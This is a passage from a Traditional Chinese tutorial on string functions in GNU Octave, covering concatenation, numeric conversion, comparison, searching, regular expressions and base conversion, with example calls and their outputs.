string_fill_char(old_fc); 輸出為\nans = theseXX areXXXX strings 自動補齊字串也顯示出字元陣列的限制，一個字元陣列無法表示多個不同長度的字串，若需要表示不同長度的字串，可以使用字串的巢狀陣列，請參考資料容器。\n建立字串（Creating Strings） 最簡單的字串產生方法上面已經介紹過了，直接用單引號或雙引號包起來就可以了，接下來介紹一些其他的方式。\nblanks (n) blanks(n) 函數會產生由空白字元（ASCII 碼為 32）所構成的字串，參數 n 可以指定字串的長度，例如：\nstr = blanks(10); whos str 輸出為\nAttr Name Size Bytes Class ==== ==== ==== ===== ===== str 1x10 10 char str 是一個長度為 10 的空白字串。\n連接字串（Concatenating Strings） 上面已經示範過如何使用中括弧的方式將字串連接起來，除了這個方式之外，Octave 中也有許多函數可以處理字串接的工作，例如：char()、strvcat()、strcat() 與 cstrcat() 函數，除此之外，一般的連接函數也可以用在字串上，例如：cat()、horzcat() 與 vertcat() 等。\n除了 cstrcat() 函數之外，所有的字串連接函數都可以一連串的將數值依照 ASCII 碼轉換為字串，例如：\nchar([98, 97, 110, 97, 110, 97]) 輸出為\nans = banana char() 與 strvcat() 函數會將多個字串以垂直的方式接起來，而 strcat() 與 cstrcat() 函數則是以水平的方式將字串連接起來，例如：\nchar(\u0026#34;an apple\u0026#34;, \u0026#34;two pears\u0026#34;) 輸出為\nans = an apple two pears strcat(\u0026#34;oc\u0026#34;, \u0026#34;tave\u0026#34;, \u0026#34; is\u0026#34;, \u0026#34; good\u0026#34;, \u0026#34; for you\u0026#34;) 輸出為\nans = octave is good for you char() 函數在遇到空字串（長度為 0 的字串）時，會產生一個空的列（row），而 strvcat() 函數遇到同樣的情況則是會將空字串忽略，例如：\nchar(\u0026#34;orange\u0026#34;, \u0026#34;green\u0026#34;, \u0026#34;\u0026#34;, \u0026#34;red\u0026#34;) 輸出為\nans = orange green red strvcat(\u0026#34;orange\u0026#34;, \u0026#34;green\u0026#34;, \u0026#34;\u0026#34;, \u0026#34;red\u0026#34;) 輸出為\nans = orange green red 除了 cstrcat() 之外的所有字串連接函數都可以接受巢狀陣列的資料（請參考資料容器），char() 與 strvcat() 函數會將巢狀陣列轉換為字串，而 strcat() 函數則是連接巢狀陣列中 cell 內的字串，例如：\nchar({\u0026#34;red\u0026#34;, \u0026#34;green\u0026#34;, \u0026#34;\u0026#34;, \u0026#34;blue\u0026#34;}) 輸出為\nans = red green blue strcat({\u0026#34;abc\u0026#34;; \u0026#34;ghi\u0026#34;}, {\u0026#34;def\u0026#34;; \u0026#34;jkl\u0026#34;}) 輸出為\nans = { [1,1] = abcdef [2,1] = ghijkl } strcat() 函數會將字串結尾的空白移除（除了在巢狀陣列之內的），而 cstrcat() 函數則會將結尾的空白保留，這兩個規則在不同的情況下都很有用，例如：\nstrcat([\u0026#34;dir1\u0026#34;;\u0026#34;directory2\u0026#34;], [\u0026#34;/\u0026#34;;\u0026#34;/\u0026#34;], [\u0026#34;file1\u0026#34;;\u0026#34;file2\u0026#34;]) 輸出為\nans = dir1/file1 directory2/file2 cstrcat([\u0026#34;thirteen apples\u0026#34;; \u0026#34;a banana\u0026#34;], [\u0026#34; 5$\u0026#34;;\u0026#34; 1$\u0026#34;]) 輸出為\nans = thirteen apples 5$ a banana 1$ 上面這個 cstrcat() 中，空白字元來自於 Octave 自動補齊的特性，在建立字元陣列時會在較短的字串結尾自動補上的空白，請參考上面的說明。\nchar (x) char (n, ...) char (s1, s2, ...) char (cell_array) char() 函數可以從一個或多個數值矩陣、字元矩陣或巢狀陣列建立字元陣列，所有的參數會依照順序垂直的連接起來，並將較短的字串補齊空白後傳回，空字串的參數會被保留。若是輸入的數值，則會將數值依照 ASCII 碼轉為字元，而若是數值超出 ASCII 碼的範圍（0-255），則會產生錯誤。對於巢狀陣列，char() 會將每個元素分開處理，巢狀陣列經由 char() 所轉換的結果，在大部分的情形下可以再經由 cellstr() 函數轉換回原來的巢狀陣列。例如：\nchar ([97, 98, 99], \u0026#34;\u0026#34;, {\u0026#34;98\u0026#34;, \u0026#34;99\u0026#34;, 100}, \u0026#34;str1\u0026#34;, [\u0026#34;ha\u0026#34;, \u0026#34;lf\u0026#34;]) strvcat (x) strvcat (n, ...) strvcat (s1, s2, ...) strvcat (cell_array) strvchar() 函數可以從一個或多個數值矩陣、字元矩陣或巢狀陣列建立字元陣列，所有的參數會依照順序垂直的連接起來，並將較短的字串補齊空白後傳回，空字串的參數會被忽略。若是輸入的數值，則會將數值依照 ASCII 碼轉為字元，而若是數值超出 ASCII 碼的範圍（0-255），則會產生錯誤。對於巢狀陣列，strvchar() 會將每個元素分開處理，巢狀陣列經由 char() 所轉換的結果，在大部分的情形下可以再經由 cellstr() 函數轉換回原來的巢狀陣列。例如：\nstrvcat ([97, 98, 99], \u0026#34;\u0026#34;, {\u0026#34;98\u0026#34;, \u0026#34;99\u0026#34;, 100}, \u0026#34;str1\u0026#34;, [\u0026#34;ha\u0026#34;, \u0026#34;lf\u0026#34;]) strcat (s1, s2, ...) strcat() 函數會將所有的參數以水平的方式連接起來，當輸入的參數為字串的巢狀陣列時，strcat() 會將個別的 cell 分開處理，若是輸入的參數是數值，則會依照 ASCII 碼轉換為字元。字串結尾的空白會被忽略。例如：\ns = [ \u0026#34;ab\u0026#34;; \u0026#34;cde\u0026#34; ]; strcat (s, s, s) 輸出為\nans = ababab cdecdecde s = { \u0026#34;ab\u0026#34;; \u0026#34;cde\u0026#34; }; strcat (s, s, s) 輸出為\nans = { [1,1] = ababab [2,1] = cdecdecde } strcat(\u0026#34;abc \u0026#34;, \u0026#34;ABC\u0026#34;) 輸出為\nans = abcABC cstrcat (s1, s2, ...) cstrcat() 函數會將所有的參數以水平的方式連接起來，字串結尾的空白會被保留。例如：\ncstrcat (\u0026#34;ab \u0026#34;, \u0026#34;cd\u0026#34;) 輸出為\nans = ab cd s = [ \u0026#34;ab\u0026#34;; \u0026#34;cde\u0026#34; ]; cstrcat (s, s, s) 輸出為\nans = ab ab ab cdecdecde 將數值轉為字串（Conversion of Numerical Data to Strings） 要將數值轉換為字串，除了上述依照 ASCII 碼的方法之外，Octave 亦提供了其他的轉換方式與相關函數，例如 mat2str() 與 num2str() 函數可以轉換實數或複數的矩陣；int2str() 函數則可以轉換整數的矩陣，若是複數則會取其實部並轉為最接近的整數。更一般化的轉換可以使用 sprintf() 函數。\nmat2str (x, n) mat2str (..., \u0026#39;class\u0026#39;) mat2str() 可將實數或複數的矩陣轉為字串，其傳回值適用於 eval() 函數。\n參數 n 是指定數值的精確度，若 n 指定為一個純量，則實部與虛部都使用同一個精確度，若指定為向量，則 n(1) 代表實部的精確度，而 n(2) 代表虛部的精確度。若是不指定，則 n 預設為 17。例如：\nmat2str ([ -1/3 + i/7; 1/3 - i/7 ], [4 2]) 結果為：\u0026quot;[-0.3333+0.14i;0.3333-0.14i]\u0026quot;。\nmat2str ([ -1/3 +i/7; 1/3 -i/7 ], [4 2]) 結果為：\u0026quot;[-0.3333+0i,0+0.14i;0.3333+0i,-0-0.14i]\u0026quot;。\n若是加入參數 'class'，則輸出時會加上 x 的類別，讓 eval() 函數在執行時也會得到相同類別的矩陣，例如：\nmat2str (int16([1 -1]), \u0026#39;class\u0026#39;) 結果為：\u0026quot;int16([1,-1])\u0026quot;。\nnum2str (x) num2str (x, precision) num2str (x, format) num2str() 函數可將純量或陣列數值轉換為字串或字元陣列。參數 precision 是指定輸出的有效位數；參數 format 是輸出的格式，此格式與 sprintf() 函數所使用的格式相同。例如：\nnum2str (123.456) 結果為：\u0026quot;123.46\u0026quot;。\nnum2str (123.456, 4) 結果為：\u0026quot;123.5\u0026quot;。\ns = num2str ([1, 1.34; 3, 3.56], \u0026#34;%5.1f\u0026#34;) 輸出為\ns = 1.0 1.3 3.0 3.6 此 s 是一個字元矩陣：\nwhos s 輸出為\nAttr Name Size Bytes Class ==== ==== ==== ===== ===== s 2x8 16 char num2str() 函數亦可處理複數的轉換：\nnum2str (1.234 + 27.3i) 結果為：\u0026quot;1.234+27.3i\u0026quot;。\nnum2str() 函數並不是非常的有彈性，若需要更有彈性的輸出可以使用 sprintf() 函數。\nnum2str() 函數在處理複數時，所指定的 format 只能包含單一個數值的格式，若是加入其他任何多餘的字元，將會導致不可預期的結果。\nint2str (n) num2str() 函數可將純量或陣列整數轉換為字串或字元陣列。例如：\nint2str(123) 輸出為\nans = 123 s = int2str ([1, 2, 3; 4, 5, 6]) 輸出為\ns = 1 2 3 4 5 6 得到的 s 是一個字元矩陣：\nwhos s 輸出為\nAttr Name Size Bytes Class ==== ==== ==== ===== ===== s 2x7 14 char 若需要更有彈性的輸出，可以使用 sprintf() 函數。\n字串比較（Comparing Strings） 因為字串是字元所構成的陣列，字串之間在比較時是將每個字元分開來進行的，例如：\nGNU = \u0026#34;GNU’s Not UNIX\u0026#34;; spaces = (GNU == \u0026#34; \u0026#34;) 輸出為\nspaces = 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 若要判斷兩個字串是否相等，可以使用 strcmp() 函數，此函數會比較兩個字串是否完全相等，strncmp() 函數可以比較兩個字串的前 n 個字元是否相等，另外 strcmpi() 與 strncmpi() 的功能也類似，但這兩個函數會將大小寫的字元是為相等（case-insensitive）。\nstrcmp (s1, s2) strcmp(s1, s2) 函數會判斷字串 s1 與 s2 是否完全相等，若相等則傳回 1，否則傳回 0。若 s1 或 s2 其中有一個是字串的巢狀陣列，則會傳回相同長度的陣列，而陣列中包含巢狀陣列中各個字串比對的結果，而另外一個參數可以是字串的巢狀陣列（相同長度或是長度為 1）、字元矩陣或字串。例如：\nstrcmp(\u0026#34;abc\u0026#34;, \u0026#34;abc\u0026#34;) 輸出為\nans = 1 strcmp(\u0026#34;abc\u0026#34;, {\u0026#34;abc\u0026#34;, \u0026#34;def\u0026#34;}) 輸出為\nans = 1 0 strcmp({\u0026#34;abc\u0026#34;, \u0026#34;def\u0026#34;, \u0026#34;123\u0026#34;}, {\u0026#34;abc\u0026#34;, \u0026#34;def\u0026#34;, \u0026#34;ABC\u0026#34;}) 輸出為\nans = 1 1 0 為了與 Matlab 相容，strcmp() 在比對結果相同時傳回 1，不同時傳回 0，這與 C 語言中的習慣剛好相反。\nstrncmp (s1, s2, n) strncmp(s1, s2, n) 函數與 strncmp(s1, s2) 函數類似，但只比較字串 s1 與 s2 的前 n 個字元是否相等，若相等則傳回 1，否則傳回 0，例如：\nstrncmp(\u0026#34;abcd\u0026#34;, \u0026#34;abce\u0026#34;, 3) 輸出為\nans = 1 若 s1 或 s2 其中有一個是字串的巢狀陣列，則會傳回相同長度的陣列，而陣列中包含巢狀陣列中各個字串比對的結果，而另外一個參數可以是字串的巢狀陣列（相同長度或是長度為 1）、字元矩陣或字串。例如：\nstrncmp(\u0026#34;abc\u0026#34;, {\u0026#34;abc\u0026#34;, \u0026#34;abd\u0026#34;}, 2) 輸出為\nans = 1 1 strncmp({\u0026#34;abc\u0026#34;, \u0026#34;def\u0026#34;, \u0026#34;123\u0026#34;}, {\u0026#34;abc\u0026#34;, \u0026#34;dec\u0026#34;, \u0026#34;243\u0026#34;}, 2) 輸出為\nans = 1 1 0 strcmpi (s1, s2) strcmpi() 函數與 strcmp() 函數類似，但比對字串時不分大小寫。\nstrncmpi (s1, s2, n) strncmpi() 函數與 strncmp() 函數類似，但比對字串時不分大小寫。\nvalidstr = validatestring (str, strarray) validstr = validatestring (str, strarray, funcname) validstr = validatestring (str, strarray, funcname, varname) validstr = validatestring (..., position) validatestring(str, strarray) 函數用來檢查字串 str 是否符合 strarray 所指定的格式：此函數會檢查字串 str 是否等於 strarray 中的任意一個字串，或是其子字串（substring），str 是要比對的字串，strarray 是字串所構成的巢狀陣列。檢查結果若是 str 符合 strarray 所指定的格式，則將結果傳回（即 validstr），若不符合則產生錯誤訊息。例如：\nvalidatestring(\u0026#34;abc\u0026#34;, {\u0026#34;abc\u0026#34;, \u0026#34;12345\u0026#34;, \u0026#34;string\u0026#34;}) 輸出為\nans = abc 若在比對時發現只有某一個字串的開頭符合，則 Octave 會自動將 strarray 中完整的字串傳回：\nvalidatestring(\u0026#34;abc\u0026#34;, {\u0026#34;abcdef\u0026#34;, \u0026#34;12345\u0026#34;, \u0026#34;string\u0026#34;}) 輸出為\nans = abcdef 字串操作（Manipulating Strings） 在 Octave 中有很多可以處理字串操作的函數，由於字串本身就是以矩陣的方式儲存，因此可以使用一般的運算子進行簡單的字串操作，下面的範例說明如何將字串中的空白字元替換成下底線：\nquote = \u0026#34;First things first, but not necessarily in that order\u0026#34;; quote( quote == \u0026#34; \u0026#34; ) = \u0026#34;_\u0026#34; 輸出為\nquote = First_things_first,_but_not_necessarily_in_that_order 對於較複雜的字串操作，例如搜尋、取代與常規表示法可以使用下面的函數：\ndeblank (s) deblank(s) 函數會移除字串 s 結尾處的空白與 null 字元，若 s 為字元陣列，則會將每一列（row）結尾的共同空白移除，若 s 為字串的巢狀陣列，則 deblank() 函數會以遞迴的方式，將巢狀陣列中的每一個字串結尾處的空白都移除。例如：\ns = \u0026#34;string \u0026#34;; s2 = deblank(s); whos s s2 輸出為\nAttr Name Size Bytes Class ==== ==== ==== ===== ===== s 1x8 8 char s2 1x6 6 char 字元陣列的範例：\nm = [\u0026#34;ab \u0026#34;; \u0026#34;12345 \u0026#34;; \u0026#34;xyz \u0026#34;]; m2 = deblank(m); whos m m2 輸出為\nAttr Name Size Bytes Class ==== ==== ==== ===== ===== m 3x7 21 char m2 3x5 15 char 字元矩陣 m 是一個 3 乘 7 的矩陣，三個列的結尾都有共同的兩個空白字元，因此 deblank() 函數會移除每一列的最後兩個空白，最後得到的 m2 為 3 乘 5 的字元矩陣。\n巢狀陣列的範例：\na = {\u0026#34;ABC \u0026#34;, \u0026#34;12 \u0026#34;}; b = deblank(a); whos a{1} a{2} b{1} b{2} 輸出為\nAttr Name Size Bytes Class ==== ==== ==== ===== ===== a{1} 1x5 5 char a{2} 1x3 3 char b{1} 1x3 3 char b{2} 1x2 2 char strtrim (s) strtrim(s) 函數會移除字串 s 開頭與結尾處的空白與 null 字元，若 s 為字元矩陣，則會將每一列（row）開頭與結尾處的共同空白移除，若 s 為字串的巢狀陣列，則 strtrim() 函數會以遞迴的方式，將巢狀陣列中的每一個字串開頭與結尾處的空白都移除。例如：\nstrtrim (\u0026#34; abc \u0026#34;) 輸出為\nans = abc strtrim ([\u0026#34; abc \u0026#34;; \u0026#34; def \u0026#34;]) 輸出為\nans = abc def strtrunc (s, n) strtrunc(s, n) 函數會擷取字串 s 的開頭前 n 個字元，若 s 為字元矩陣，則擷取開頭的前 n 個行（column）；若 s 為字串的巢狀陣列，則 strtrunc() 函數會擷取巢狀陣列中每一個自串的開頭前 n 個字元，並傳回新的巢狀陣列。\nfindstr (s, t, overlap) findstr(s, t) 函數可搜尋 s 與 t 兩個字串之中較短的字串在較長字串中出現的位置，例如：\nfindstr (\u0026#34;ababab\u0026#34;, \u0026#34;a\u0026#34;) 輸出為\nans = 1 3 5 也可以寫成這樣\nfindstr (\u0026#34;a\u0026#34;, \u0026#34;ababab\u0026#34;) 輸出為\nans = 1 3 5 若將 overlap 參數設為 0，則輸出的位置就不會重複：\nfindstr (\u0026#34;abababa\u0026#34;, \u0026#34;aba\u0026#34;, 0) 輸出為\nans = 1 5 若不設定 overlap 參數，則預設會輸出重複的位置，例如：\nfindstr (\u0026#34;abababa\u0026#34;, \u0026#34;aba\u0026#34;) 輸出為\nans = 1 3 5 idx = strchr (str, chrs) idx = strchr (str, chrs, n) idx = strchr (str, chrs, n, direction) strchr() 函數與 find() 函數類似，strchr(str, chars) 函數會搜尋字串 chars 中所指定的字元出現在字串 str 中的位置，例如：\nstrchr(\u0026#34;abcd1234abcd\u0026#34;, \u0026#34;b3\u0026#34;) 輸出為\nans = 2 7 10 這會傳回字串 \u0026quot;abcd1234abcd\u0026quot; 中所有出現字元 \u0026quot;b\u0026quot; 或 \u0026quot;3\u0026quot; 的位置。\n參數 n 是限制最多搜尋的個數，參數 direction 是尋找的方向，可以設定為 \u0026quot;first\u0026quot; （從開頭開始向後搜尋）或 \u0026quot;last\u0026quot;（從結尾開始像前搜尋），例如：\nstrchr(\u0026#34;abcd1234abcd\u0026#34;, \u0026#34;b3\u0026#34;, 2, \u0026#34;last\u0026#34;) 輸出為\nans = 7 10 strchr() 函數的搜尋速度在大部分的情況會比常規表示法函數快。\nindex (s, t) index (s, t, direction) index(s, t) 函數會傳回字串 s 中第一個出現字串 t 的位置，若字串 s 中沒有出現字串 t 則傳回 0，例如：\nindex (\u0026#34;Teststring\u0026#34;, \u0026#34;t\u0026#34;) 輸出為\nans = 4 參數 direction 是指定搜尋方向，若指定為 \u0026quot;first\u0026quot; 則傳回第一個出現的位置，若指定為 \u0026quot;last\u0026quot; 則傳回最後一個出現的位置。\nindex() 函數不適用於字串陣列或是字元矩陣。\nrindex (s, t) rindex(s, t) 函數會傳回字串 s 中最後一個出現字串 t 的位置，若字串 s 中沒有出現字串 t 則傳回 0，此函數之功用等同於 index() 將 direction 參數設為 \u0026quot;last\u0026quot;。例如：\nrindex (\u0026#34;Teststring\u0026#34;, \u0026#34;t\u0026#34;) 輸出為\nans = 6 rindex() 函數不適用於字串陣列或是字元矩陣。\nstrfind (str, pattern) strfind (cellstr, pattern, direction) strfind(str, pattern) 函數會搜尋 pattern 在字串 str 中出現的位置，若沒有出現或 pattern 的長度比 str 的長度長，則傳回空陣列 []。若 str 指定為字串的巢狀陣列，則傳回值為向量的巢狀陣列。例如：\nstrfind (\u0026#34;abababa\u0026#34;, \u0026#34;aba\u0026#34;) 輸出為\nans = 1 3 5 strfind ({\u0026#34;abababa\u0026#34;, \u0026#34;bebebe\u0026#34;, \u0026#34;ab\u0026#34;}, \u0026#34;aba\u0026#34;) 輸出為\nans = { [1,1] = 1 3 5 [1,2] = [](1x0) [1,3] = [](1x0) } strmatch (s, a, \u0026#34;exact\u0026#34;) strmatch(s, a) 函數傳回在 a 中出現字串 s 的元素索引，其傳回值是一個行向量，參數 a 為字元矩陣或字串的巢狀陣列。若沒有設定 \u0026quot;exact\u0026quot; 參數，則只比對開頭是否與 s 相同。null 字元會比對空白字元。例如：\nstrmatch (\u0026#34;apple\u0026#34;, \u0026#34;apple juice\u0026#34;) 輸出為\nans = 1 strmatch (\u0026#34;apple\u0026#34;, [\u0026#34;apple pie\u0026#34;; \u0026#34;apple juice\u0026#34;; \u0026#34;an apple\u0026#34;]) 輸出為\nans = 1 2 strmatch (\u0026#34;apple\u0026#34;, {\u0026#34;apple pie\u0026#34;; \u0026#34;apple juice\u0026#34;; \u0026#34;tomato\u0026#34;}) 輸出為\nans = 1 2 [tok, rem] = strtok (str, delim) strtok(str, delim) 函數會找出 delim 之中的字元在字串 str 中第一個出現的位置，並將此字元之前的字串傳回（不包含此字元），若是有設定輸出參數 rem，則 rem 中會包含此字元之後的字串（包含此字元）。若是字串的第一個字元就在 delim 之中，則第一個字元會被忽略。若不指定 delim 則預設為空白字元。例如：\nstrtok (\u0026#34;this is the life\u0026#34;) 輸出為\nans = this [tok, rem] = strtok (\u0026#34;14*27+31\u0026#34;, \u0026#34;+-*/\u0026#34;) 輸出為\ntok = 14 rem = *27+31 [s] = strsplit (p, sep, strip_empty) strsplit(p, sep, strip_empty) 函數會以 sep 中的字元做為分隔字元，將字串 p 切成字串的巢狀陣列，字串 p 中若包含連續或位於字串兩端的分隔字元會使結果中產生空字串，若要將空字串移除，可指定 strip_empty 參數為 true，若不指定預設為 false。例如：\nstrsplit(\u0026#34;this is the life\u0026#34;, \u0026#34; \u0026#34;) 輸出為\nans = { [1,1] = this [1,2] = is [1,3] = the [1,4] = life } strrep (s, x, y) strrep(s, x, y) 函數會將字串 s 中所有出現字串 x 的地方都替換成字串 y，並傳回替換後的結過，例如：\nstrrep (\u0026#34;This is a test string\u0026#34;, \u0026#34;is\u0026#34;, \u0026#34;\u0026amp;%$\u0026#34;) 輸出為\nans = Th\u0026%$ \u0026%$ a test string substr (s, offset, len) substr(s, offset, len) 函數傳回 s 字串的子字串，此子字串從 s 字串的第 offset 字元開始往後算起，長度為 len。若 offset 指定為負數，則開始的位置變成從 s 字串的結尾往前算。若不指定 len 參數，則傳回的子字串會取至 s 字串的結尾。例如：\nsubstr (\u0026#34;This is a test string\u0026#34;, 6, 9) 輸出為\nans = is a test [s, e, te, m, t, nm] = regexp (str, pat) [...] = regexp (str, pat, opts, ...) regexp() 函數使用常規表示法（regular expression）進行字串的比對，在字串 str 中比對由 pat 所指定的常規表示法，並傳回符合的字串及其位置，若是找不到符合的字串則傳回空向量，pat 中可以使用任何標準的常規表示法，包含：\n.：比對任意字元。 * + ? {} 重複運算子（Repetition operators）： *：比對 0 次以上。 +：比對 1 次以上。 ?：比對 0 次或 1 次。 {}：指定比對的次數，{n} 為剛好比對 n 次，{m,} 為比對 m 次以上，{m,n} 為比對 m 次到 n 次。 [...] [^...]：列舉運算子（List operators），例如 [ab]c 為比對 ac 或 bc。 ()：群組運算子（Grouping operator）。 |：多重選擇運算子（Alternation operator），比對其中一種常規表示法，此運算子必須配合上述的群組運算子使用。 ^ $：定位運算子（Anchoring operator），^ 比對字串 str 的開頭，$ 比對字串 str 的結尾。 下列的跳脫字元（escaped character）表示各種特殊意義，在使用這些跳脫字元時，建議使用單引號將常規表示法 pat 包起來，而不要使用雙引號，這樣可以避免這些跳說字元在傳給 regexp() 函數時就被 Octave 解析成其他的字元。\n\\b：比對字（word）的邊界。 \\B：比對除了字邊界以外的地方。 \\w：比對英文字字元。 \\W：比對 \\w 以外的字元。 \\\u0026lt;：比對字（word）的開頭。 \\\u0026gt;：比對字（word）的結尾。 \\s：比對空白、Tab 等字元。 \\S：比對 \\s 以外的字元。 \\d：比對數字。 \\D：比對 \\d 以外的字元。 regexp() 函數的傳回值預設是依照下面的順序傳回：\ns：每一個符合的子字串起始索引值。 e：每一個符合的子字串結尾索引值。 te：包含所有在 pat 中被群組運算子 () 包起來的區段索引。 m：一個巢狀陣列，包含所有比對符合的內容。 t：一個巢狀陣列，包含所有在 pat 中被群組運算子 () 包起來的區段內容。 nm：一個資料結構（structure），包含所有被具名的群組運算子 () 包起來的區段內容，一個名稱為 name 的群組運算子為 (?...)。 regexp() 函數的傳回值格式可以藉由 opts 參數設定，可以指定傳回值與傳回的順序，可以用的選項有：\n'start'：指定 s。 'end'：指定 e。 'tokenExtents'：指定 te。 'match'：指定 m。 'token'：指定 t。 'names'：指定 nm。 regexp() 函數還有一些額外的參數：\n'once'：只傳回第一個比對成功的結果。 'matchcase'：將英文大小寫視為不同。 'ignorecase'：將英文大小寫視為相同。 'stringanchors'：設定定位運算子比對整個字串的開頭與結尾。 'lineanchors'：設定定位運算子比對行（line）的開頭與結尾。 'dotall'：設定句點 . 可比對任意字元，包含換行字元。 'dotexceptnewline'：設定句點 . 可比對除了換行字元之外的任意字元。 'freespacing'：將 pat 中 # 符號之後的所有內容或空白視為註解。 'literalspacing'：將在 pat 中的所有 # 符號視為一般字元來比對。 [s, e, te, m, t, nm] = regexpi (str, pat) [...] = regexpi (str, pat, opts, ...) regexpi() 函數與 regexp() 函數類似，但此函數將英文大小寫視為相同。\nstring = regexprep (str, pattern, repstr, options) regexprep(str, pattern, repstr, options) 函數會以常規表示法 pattern 比對字串 str，並將比對符合的部分以 repstr 取代。repstr 中亦可以使用 $i 表示在 pattern 中第 i 個以括弧包起來的部分，例如：\nregexprep(\u0026#34;Bill Dunn\u0026#34;, \u0026#39;(\\w+) (\\w+)\u0026#39;, \u0026#39;$2, $1\u0026#39;) 輸出為\nans = Dunn, Bill 參數 options 部分可以使用的有：\n'once'：只替換第一個比對成功的結果。 'warnings'：這個參數是為了相容性而設置的，並沒有作用。 'ignorecase' 與 'matchcase'：設定是否將英文大小寫視為相同，亦可在 pattern 中以 (?i) 與 (?-i) 指定。 'lineanchors' 與 'stringanchors'：設定定位運算子比對行（line）的開頭與結尾，或是比對整個字串的開頭與結尾，亦可在 pattern 中以 (?m) 與 (?-m) 指定。 'dotexceptnewline' 與 'dotall'：設定句點 . 是否比對換行字元，亦可在 pattern 中以 (?s) 與 (?-s) 指定。 'freespacing' 與 'literalspacing'：設定 # 與空白是否可用於 pattern 中做為註解，亦可在 pattern 中以 (?x) 與 (?-x) 指定。 例如：\nregexprep(\u0026#34;ABC\\nabc\\nAbc\u0026#34;, \u0026#34;^ab\u0026#34;, \u0026#34;XY\u0026#34;, \u0026#39;ignorecase\u0026#39;, \u0026#39;lineanchors\u0026#39;) 輸出為\nans = XYC XYc XYc regexptranslate (op, s) regexptranslate(op, s) 函數會將字串 s 轉換為常規表示法中使用的格式，參數 op 是指定轉換的類型，可用的選項有：\n\u0026quot;wildcard\u0026quot;：將 wildcard 字元轉換為常規表示法，例如 * 與 ? 等。 \u0026quot;escape\u0026quot;：將跳脫字元轉換為常規表示法，例如 $ . ? [] 等。 下面是一些範例：\nregexptranslate (\u0026#34;wildcard\u0026#34;, \u0026#34;*.m\u0026#34;) 輸出為\nans = .*\\.m regexptranslate (\u0026#34;escape\u0026#34;, \u0026#34;12.5\u0026#34;) 輸出為\nans = 12\\.5 字串轉換（String Conversions） Octave 中有許多字串與數值間的轉換函數，例如可以將函有十六進位數字的字串轉換為浮點數：\nhex2dec(\u0026#34;FF\u0026#34;) 輸出為\nans = 255 bin2dec (s) bin2dec(s) 函數會將字串 s 中的二進位數字轉為十進位的數值後傳回，例如：\nbin2dec(\u0026#34;1110\u0026#34;) 輸出為\nans = 14 若 s 為字元矩陣，則會分別將 s 的每一列（row）各轉為一個十進位數值，產生一個行（column）向量並傳回，若有無法轉換的內容，則會產生 NaN。例如：\nbin2dec([\u0026#34;1110\u0026#34;; \u0026#34;101001\u0026#34;]) ans = 14 41 dec2bin (n, len) dec2bin(n) 函數會將非負的數值 n 轉換為二進位的數字所構成的字串，例如：\ndec2bin(14) 輸出為\nans = 1110 若 n 為一個向量，則會將向量中的每一個數值個別轉換為二進位的數字所構成的字元矩陣，矩陣中每一個列（row）對應到向量中的每一個數值，而長度較短的列會在開頭補上 0，讓所有的列都有相同的長度，例如：\ndec2bin([6, 3, 98]) ans = 0000110 0000011 1100010 參數 len 是指定轉換出來的字串的最大長度。\ndec2hex (n, len) dec2hex(n) 函數會將非負的數值 n 轉換為十六進位的數字所構成的字串，例如：\ndec2hex(2748) 輸出為\nans = ABC 若 n 為一個向量，則會將向量中的每一個數值個別轉換為十六進位的數字所構成的字元矩陣，矩陣中每一個列（row）對應到向量中的每一個數值，而長度較短的列會在開頭補上 0，讓所有的列都有相同的長度，例如：\ndec2hex([62, 31, 8987]) 輸出為\nans = 003E 001F 231B 參數 len 是指定轉換出來的字串的最大長度。\nhex2dec (s) hex2dec(s) 函數會將非負的數值 n 轉換為十六進位的數字所構成的字串，例如：\nhex2dec (\u0026#34;12B\u0026#34;) 輸出為\nans = 299 hex2dec (\u0026#34;12b\u0026#34;) 輸出為\nans = 299 若 s 為字元矩陣，則會分別將 s 的每一列（row）各轉為一個十進位數值，產生一個行（column）向量並傳回，若有無法轉換的內容，則會產生 NaN。例如：\nhex2dec ([\u0026#34;12b\u0026#34;; \u0026#34;abcd\u0026#34;]) ans = 299 43981 dec2base (n, b, len) dec2base(n, b) 函數會將非負的整數 n 轉換為 b 進位的數字的字串，例如：\ndec2base(123, 3) 輸出為\nans = 11120 若 n 為一個向量，則會將向量中的每一個數值個別轉換為 b 進位的數字所構成的字元矩陣，矩陣中每一個列（row）對應到向量中的每一個數值，而長度較短的列會在開頭補上 0，讓所有的列都有相同的長度，例如：\ndec2base([62, 31, 8987], 3) 輸出為\nans = 000002022 000001011 110022212 若 b 為一個字串，則 b 中的字元會被用來表示數字（空白字元無法使用），例如：\ndec2base(123, \u0026#34;aei\u0026#34;) 輸出為\nans = eeeia 參數 len 是指定轉換出來的字串的最大長度。\nbase2dec (s, b) bin2dec(s) 函數會將字串 s 中的 b 進位數字轉為十進位的數值後傳回，例如：\nbase2dec(\u0026#34;11120\u0026#34;, 3) 輸出為\nans = 123 若 s 為字元矩陣，則會分別將 s 的每一列（row）各轉為一個 b 進位數值，產生一個行（column）向量並傳回，若有無法轉換的內容，則會產生 NaN。每一列在轉換前會先將內容靠右對齊，因此結尾的空白會被忽略。例如：\nbase2dec([\u0026#34;000002022\u0026#34;; \u0026#34;000001011\u0026#34;; \u0026#34;110022212\u0026#34;], 3) 輸出為\nans = 62 31 8987 若 b 為字串，則會使用 b 中的字元來解析數值（空白字元無法使用），例如：\nbase2dec(\u0026#34;yyyzx\u0026#34;, \u0026#34;xyz\u0026#34;) 輸出為\nans = 123 s = num2hex (n) num2hex(n) 函數會將雙精度浮點數的純量或陣列 n 轉換為 IEEE 754 標準的十六進位數字所構成的字串，此字串的長度為 16 個字元，例如：\nnum2hex ([-1, 1, e, Inf, NaN, NA]) 輸出為\nans = bff0000000000000 3ff0000000000000 4005bf0a8b145769 7ff0000000000000 7ff8000000000000 7ff840f440000000 n = hex2num (s) hex2num(s) 函數會將 IEEE 754 標準的十六進位數字所構成的字串轉換為雙精度浮點數，若輸入的字串長度小於 16，則 Octave 會自動在字串後方以 '0' 補齊 16 個字元。\nhex2num (\u0026#34;4024000000000000\u0026#34;) 輸出為\nans = 10 hex2num (\u0026#34;4024\u0026#34;) 輸出為\nans = 10 若 s 為字元矩陣，則會將每個列（row）個別轉換為雙精度浮點數，傳回一個行（column）向量，例如：\nhex2num ([\u0026#34;4005bf0a8b145769\u0026#34;;\u0026#34;4024000000000000\u0026#34;]) 輸出為\nans = 2.7183 10.0000 [num, status, strarray] = str2double (str, cdelim, rdelim, ddelim) str2double(str) 函數會將字串 str 轉換為數值，其可接受的格式為 [+-]d[.]dd[[eE][+-]ddd] 其中 d 代表數字 